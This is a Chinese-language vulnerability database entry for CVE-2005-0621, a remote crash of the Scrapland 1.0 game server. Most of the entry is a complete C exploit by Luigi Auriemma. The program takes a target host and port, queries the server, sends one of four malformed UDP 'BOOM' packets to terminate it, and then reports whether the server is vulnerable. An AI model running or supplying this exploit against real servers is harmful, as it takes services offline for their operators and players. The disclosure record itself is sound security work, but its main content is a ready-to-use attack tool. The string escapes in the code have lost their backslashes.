Scrapland 远程拒绝服务攻击漏洞

漏洞ID	1108490	漏洞类型	未知
发布时间	2005-02-28	更新时间	2005-05-02
CVE编号	CVE-2005-0621	CNNVD-ID	CNNVD-200505-506
漏洞平台	Windows	CVSS评分	5.0

|漏洞来源

https://www.exploit-db.com/exploits/849
https://www.securityfocus.com/bid/90192
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-506

|漏洞详情

Scrapland1.0及之前版本使得远程攻击者可通过触发服务器视为致命错误的错误发起拒绝服务攻击(服务器终止)，如使用(1)给尺寸值赋予带符号整数，(2)无效模式，(3)不大于尺寸值的”newpos”值或者(4)部分数据包。

|漏洞EXP

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "nError: %sn", error);
    exit(1);
}

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER         "0.1"
#define BUFFSZ      2048
#define PORT        28086
#define TIMEOUT     3

#define SEND(x,y)   if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) 
                      < 0) std_err();
#define RECV        if(timeout(sd) < 0) { 
                        fputs("nError: socket timeout, no reply receivednn", stdout); 
                        exit(1); 
                    } 
                    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); 
                    if(len < 0) std_err();
#define ADDSHORT(x) *(u_short *)p = x; 
                    p += 2;
#define ADDLONG(x)  *(u_long *)p = x; 
                    p += 4;
#define ADDTEXT(x)  *p++ = sizeof(x) - 1; 
                    memcpy(p, x, sizeof(x) - 1); 
                    p += sizeof(x) - 1;



int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len;
    u_short port = PORT;
    u_char  buff[BUFFSZ],
            info[] =
                "x7f"
                "x01x00"
                "x00x07",
            pck[] =
                "x7f"
                "x00x00"
                "x00x00"
                "x00",
            *p;


    setbuf(stdout, NULL);

    fputs("n"
        "Scrapland <= 1.0 server termination "VER"n"
        "by Luigi Auriemman"
        "e-mail: [email protected]"
        "web:    http://aluigi.altervista.orgn"
        "n", stdout);

    if(argc < 3) {
        printf("n"
            "Usage: %s <attack> <host> [port(%d)]n"
            "n"
            "Attack:n"
            " 1 = big text string (size>SSize)n"
            " 2 = unexistent models (you can test this bug also modifying scrap.cfg)n"
            " 3 = newpos<=sizen"
            " 4 = partial packet after small packet (1 or 2 bytes)n"
            "n", argv[0], port);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr  = resolv(argv[2]);
    peer.sin_port         = htons(port);
    peer.sin_family       = AF_INET;

    printf("- target   %s : %hun",
        inet_ntoa(peer.sin_addr), port);

    fputs("- request informationsn", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    SEND(info, sizeof(info) - 1);
    RECV;
    printf("n  Server name   %sn", buff + 10);
    printf("  Players       %d / %dnn",
        *(u_short *)(buff + 8), *(u_short *)(buff + 6));

    if(*(u_short *)(buff + 8) == *(u_short *)(buff + 6)) {
        fputs("- Alert: the server is full so this attack will failnn", stdout);
    }

    fputs("- send BOOM packetn", stdout);
    switch(atoi(argv[1])) {
        case 1: {
            pck[5] = 0xff;              // major than 0x7f
            *(u_short *)(pck + 1) = sizeof(pck) - 4;
            SEND(pck, sizeof(pck) - 1);
            } break;
        case 2: {
            p = buff;
            *p++ = 0x7f;
            p += 2;                     // data size
            ADDSHORT(0);                // don't know, pck related?
            ADDTEXT("Unnamed Player");  // PlayerName
            ADDTEXT("unexistent");      // PlayerModel
            ADDSHORT(65);               // PlayerMaxLife
            ADDTEXT("unexistent");      // PilotModel
            ADDTEXT("unexistent");      // Motor0Model
            ADDTEXT("unexistent");      // Motor1Model
            ADDTEXT("unexistent");      // Motor2Model
            ADDTEXT("unexistent");      // Motor3Model
            ADDTEXT("1,3,0,0,1,0,1");   // WeaponBayList
            ADDLONG(0);                 // PlayerTeamID
            *(u_short *)(buff + 1) = (p - buff) - 3;

            SEND(buff, p - buff);
            } break;
        case 3: {
            *(u_short *)(pck + 1) = 1;  // major than 0
            SEND(pck, 5);
            } break;
        case 4: {
            SEND(pck, 1);
            sleep(ONESEC);
            *(u_short *)(pck + 1) = 0;
            SEND(pck, 3);
            } break;
        default: {
            fputs("nError: wrong attack selectednn", stdout);
            exit(1);
            }
    }

    fputs("- check server:n", stdout);
    SEND(info, sizeof(info) - 1);
    if(timeout(sd) < 0) {
        fputs("nServer IS vulnerable!!!nn", stdout);
    } else {
        fputs("nServer doesn't seem vulnerablenn", stdout);
    }

    close(sd);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolv hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-02-28]

|受影响的产品

Enlight Software Scrapland 1.0

|参考资料

来源:SECUNIA
名称:14435
链接:http://secunia.com/advisories/14435
来源:MISC
链接:http://aluigi.altervista.org/adv/scrapboom-adv.txt
来源:FULLDISC
名称:20050228ServerterminationinScrapland1.0
链接:http://marc.theaimsgroup.com/?l=full-disclosure&m;=110961578504928&w;=2

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